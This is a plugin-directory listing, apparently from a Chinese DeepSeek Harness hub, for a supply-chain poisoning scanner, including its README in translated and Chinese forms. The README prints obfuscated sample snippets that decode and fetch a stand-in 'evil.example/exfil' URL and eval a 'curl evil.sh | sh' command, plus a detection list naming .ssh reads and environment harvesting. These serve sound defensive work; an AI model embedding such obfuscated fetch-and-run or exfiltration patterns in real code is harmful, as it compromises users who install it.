🎁 福利专区全网大模型免费应用 + 新用户福利 + 注册活动入口,低成本玩转 AI

插件投毒扫描器 zoahdev/dsh-poison-guard

DeepSeek Harness
zoahdev79 天前有提交已提供中文文档扫描:无法判定

安装前扫描插件,拦截混淆外泄与恶意脚本

27.7/100
综合分
1
GitHub 星标
—
npm 周下载
—/5
用户评分

数据截至 2026/9/16 · 周下载取自 npm 全网(含 CI / 镜像),非本站安装数;综合分由星标、活跃度与兼容性检查合成。

安装命令 · 需先装 dsh CLI 引擎
dsh plugin --profile web add zoahdev/dsh-poison-guard
该包不可直接 npm 安装,改从 GitHub 源安装(明细见下方安装检查)

状态速览

判定依据:实装验证 · 静态安装检查 · 自动扫描 · 仓库维护状态
信任档位:仅索引
是什么[目录]—
dsh 原生插件 · market
暂无时间戳·判据 →
装得上吗[实装验证]—
本站尚未做安装检查
数据截至 2026/09/26·判据 →
安全吗[自动扫描]—
本站尚未对该插件做风险分级
暂未覆盖,不等同于无风险
数据截至 2026/11/05·判据 →
还在维护吗[仓库]—
更新放缓:最近一次提交在 79 天前
暂无时间戳·判据 →
图例:✓ 通过! 需注意— 未判定 / 无数据· 「未判定」= 本站尚无数据,不代表插件有问题
档位由哪些信号合成

本站实装验证(真实安装 L4 覆盖全站;L5 为运行时冒烟或实机截图,覆盖范围小于 L4) · 验证所用 dsh 版本 · 静态安装检查 · 风险分级 · 仓库维护状态。 下方各区块是它的证据明细。

验证判据与等级说明 →

可信度证据

安全扫描自动 · 静态分析源码
v2.7.0
⚪ 扫描:无法判定尚无人工评估
展开查看扫描说明与证据 ↓

已尝试扫描但取不到可分析的源码:仓库或包不存在、已删除,或为非 JS/TS 实现、未随包发布源码。无法判定,不代表安全。

  • · 取源不可用(Error: github tarball HTTP 404 @ https:
  • · api.github.com
  • · repos
  • · zoahdev
  • · dsh-poison-guard
  • · tarball)
扫描于 2026/11/5(0 天前)

静态扫描只反映源码中出现的调用,不构成安全背书;人工评估与自动扫描相互独立、互不覆盖。

社区实装还没有人打卡 · 装过的第一个就是你
依赖的 DSH / Cordis 模块
@deepseek-ai/cordis@deepseek-ai/dsh-tools
给这个插件打分还没有人投票↓
用户评分
还没有人投票,来当第一个

功能亮点

  • 安装前投毒扫描
  • 识别混淆外传
  • 检测恶意脚本

给 DeepSeek Harness 插件做安装前供应链投毒扫描:AST(JS-X-Ray)+ 反混淆 + 正则,揪出混淆外传、eval、隐藏 shell 命令。

README

由 DeepSeek 最新模型翻译生成
dsh-poison-guard CI License: MIT Release npm 在线演示: https://zoahdev.github.io/dsh-poison-guard/ 面向 DeepSeek Harness 插件的安装前供应链投毒扫描器。它不是玩具级的正则 grep:在你执行 dsh plugin add 之前,它会对每个插件运行三层检测—— 1. AST 分析,通过 NodeSecure JS-X-Ray (NodeSecure CLI 使用的 SAST):变量追踪、动态导入解析、混淆器检测、eval/Function/vm 危险汇聚点、data-exfiltration、 serialize-environment、不安全 shell 命令等。 2. 反混淆解码器,可解开 atob()、Buffer.from(..., "base64"/"hex")、 String.fromCharCode(...) 以及 \xNN / \uNNNN 转义,然后重新扫描解码后的 字符串,查找隐藏的凭据、URL 和 shell 命令。 3. 正则启发式,作为兜底手段,用于明显的字面量、非代码文件以及安装时脚本(prepare / postinstall / install / preinstall)。 诚实的威胁模型 没有任何静态工具能捕获所有投毒。
展开完整文档(README 剩余 1 节)
dsh-poison-guard

CI
License: MIT
Release
npm

在线演示: https://zoahdev.github.io/dsh-poison-guard/

面向 DeepSeek Harness 插件的安装前供应链投毒扫描器。它不是玩具级的正则 grep:在你执行 dsh plugin add 之前,它会对每个插件运行三层检测——

1. AST 分析,通过 NodeSecure JS-X-Ray (NodeSecure CLI 使用的 SAST):变量追踪、动态导入解析、混淆器检测、eval/Function/vm 危险汇聚点、data-exfiltration、 serialize-environment、不安全 shell 命令等。
2. 反混淆解码器,可解开 atob()、Buffer.from(..., "base64"/"hex")、
String.fromCharCode(...) 以及 \xNN / \uNNNN 转义,然后重新扫描解码后的
字符串,查找隐藏的凭据、URL 和 shell 命令。
3. 正则启发式,作为兜底手段,用于明显的字面量、非代码文件以及安装时脚本(prepare / postinstall / install / preinstall)。

诚实的威胁模型

没有任何静态工具能捕获所有投毒。检测任意代码中的任意恶意行为是不可判定的(赖斯定理);坚定的攻击者总能构造出本扫描器无法看穿的混淆。这个工具做的是让那些廉价、大批量的攻击——隐藏的外泄 URL、混淆的 require("child_process")、对 base64 blob 的 eval、process.env 收集、.ssh 读取、安装时的 curl ... | sh——对那些靠阅读源码永远找不到它们的人变得可见。它是纵深防御,不是安全边界。

真正的边界是 harness 沙箱:将不受信任的插件保持在 workspace-write,绝不要 danger-full-access。最后一层是来源可信度:优先选择经过验证、有人维护、作者明确的插件。

它能检测什么

| 严重级别 | 示例 |
| HIGH | ast/data-exfiltration、ast/unsafe-import(混淆的 require)、ast/unsafe-stmt(eval/Function/vm)、ast/unsafe-command、deobfuscated-secret、deobfuscated-key、deobfuscated-command、exfil-combo、凭据引用、私钥路径 |
| MEDIUM | ast/serialize-environment、ast/shady-link、ast/sql-injection、ast/monkey-patch、ast/prototype-pollution、deobfuscated-url、网络外联、child_process、安装时脚本 |
| LOW | ast/encoded-literal、ast/short-identifiers、ast/unsafe-regex、ast/crypto.weak-algorithm、env-read、base64 混淆 |

规则按层加前缀:ast/(JS-X-Ray)、deobfuscated-(解码器)、 install-script*(清单),以及无前缀(正则回退)。

用法

人类可读的判定结果 dsh-poison-guard scan ./some-plugin

机器可读(用于 CI 门禁) dsh-poison-guard scan ./some-plugin --json

安装到某个 profile(随后 agent 会获得一个 plugin_scan 工具)
dsh plugin --profile web add dsh-poison-guard

或作为全局 CLI
npm install -g dsh-poison-guard

退出码:0 = CLEAN(干净),1 = 至少有一处发现(可将其接入 CI 门禁)。

示例

🔴 MALICIOUS 8 high / 5 medium / 4 low finding(s)
engine: AST(js-x-ray) + deobfuscation + regex | 1 source file(s), 3 AST warning(s), 3 decoded fragment(s)

[HIGH] ast/unsafe-import index.js:6
obfuscated or untraceable import (require/import of a computed value)
[HIGH] deobfuscated-url index.js:3
decoded obfuscated URL: https://evil.example/exfil
[HIGH] exfil-combo (whole plugin):0
reads credentials/secrets AND makes network requests - the classic exfiltration shape

CI 门禁

- run: pnpm install --frozen-lockfile
- run: dsh-poison-guard scan ./my-plugin --json

该扫描器是同步的,运行时依赖极少(AST 引擎是纯 JavaScript,无原生模块)。

为什么 AST + 反混淆优于正则扫描器

正则扫描器会漏掉下面所有内容,因为没有任何字面字符串可供匹配:

const lib = Buffer.from("6673", "hex").toString() // "fs"
const fs = require(lib) // -> ast/unsafe-import

const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=") // "https://evil.example/exfil"
await fetch(target) // -> deobfuscated-url

const cmd = String.fromCharCode(99,117,114,108) // "curl"
eval("execSync('" + cmd + " evil.sh | sh')") // -> deobfuscated-command + ast/unsafe-stmt

局限性

- 仅静态分析——不执行插件,也不观察运行时行为。
- 混淆可能变得不可判定;更强的混淆器(例如带字符串数组 + 控制流平坦化的 javascript-obfuscator)仍可能隐藏载荷。
- AST 层调至 aggressive(激进)敏感度以获得最大可见性;一个执行真实 eval/child_process 工作的良性插件也会被标记。
- 此处不强制执行沙箱策略;请将其与 harness 沙箱配合使用。

开发

pnpm install --frozen-lockfile
pnpm typecheck
pnpm build
pnpm test

MIT 许可证。社区模板——并非 DeepSeek 官方产品。

dsh-poison-guard(中文)

DeepSeek Harness 插件的安装前投毒扫描器。不是正则 grep,而是在 dsh plugin add 之前跑三层检测:

1. AST 分析(NodeSecure JS-X-Ray,NodeSecure CLI 同款 SAST):变量追踪、动态 import 解析、混淆器识别、eval/Function/vm、数据外发、process.env 序列化、危险 shell 命令等。
2. 反混淆解码器:解开 atob()、Buffer.from(...,"base64"/"hex")、String.fromCharCode(...)、\xNN/\uNNNN 转义,再对解出来的字符串二次扫描隐藏的密钥、URL、shell 命令。
3. 正则兜底:覆盖明显字面量、非代码文件、以及 prepare/postinstall/install/preinstall 安装脚本。

老实说边界

任何静态工具都无法拦住所有投毒(Rice 定理,不可判定)。它拦住的是大量低成本攻击:隐藏的外发 URL、混淆的 require("child_process")、base64 eval、process.env 收割、读 .ssh、安装脚本 curl ... | sh。它是纵深防御,不是安全边界。真正的边界是 harness 沙箱:未验证插件永远别开 danger-full-access;最后一层是来源信誉。

用法

dsh-poison-guard scan ./some-plugin
dsh-poison-guard scan ./some-plugin --json # 接 CI 门禁
dsh plugin --profile web add github:zoahdev/dsh-poison-guard

退出码:0 = CLEAN,1 = 有发现。装进 dsh 后,agent 会多一个 plugin_scan 工具,可扫任意插件目录。

为什么比纯正则强

正则抓不到下面这些(因为没有可直接匹配的字面量):

const lib = Buffer.from("6673", "hex").toString() // "fs"
const fs = require(lib) // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=")
await fetch(target) // -> deobfuscated-url

MIT 许可。社区模板,非 DeepSeek 官方产品。
预览分享卡片长什么样 ↓zoahdev/dsh-poison-guard
分享 · DeepSeek Harness Hub
zoahdev/dsh-poison-guard

安装前扫描插件,拦截混淆外泄与恶意脚本

这个插件是你维护的吗?
作者本人可认领并核对本条目;认领通过后,详情页会显示「作者已认领」标记。
认领条目 →
回到顶部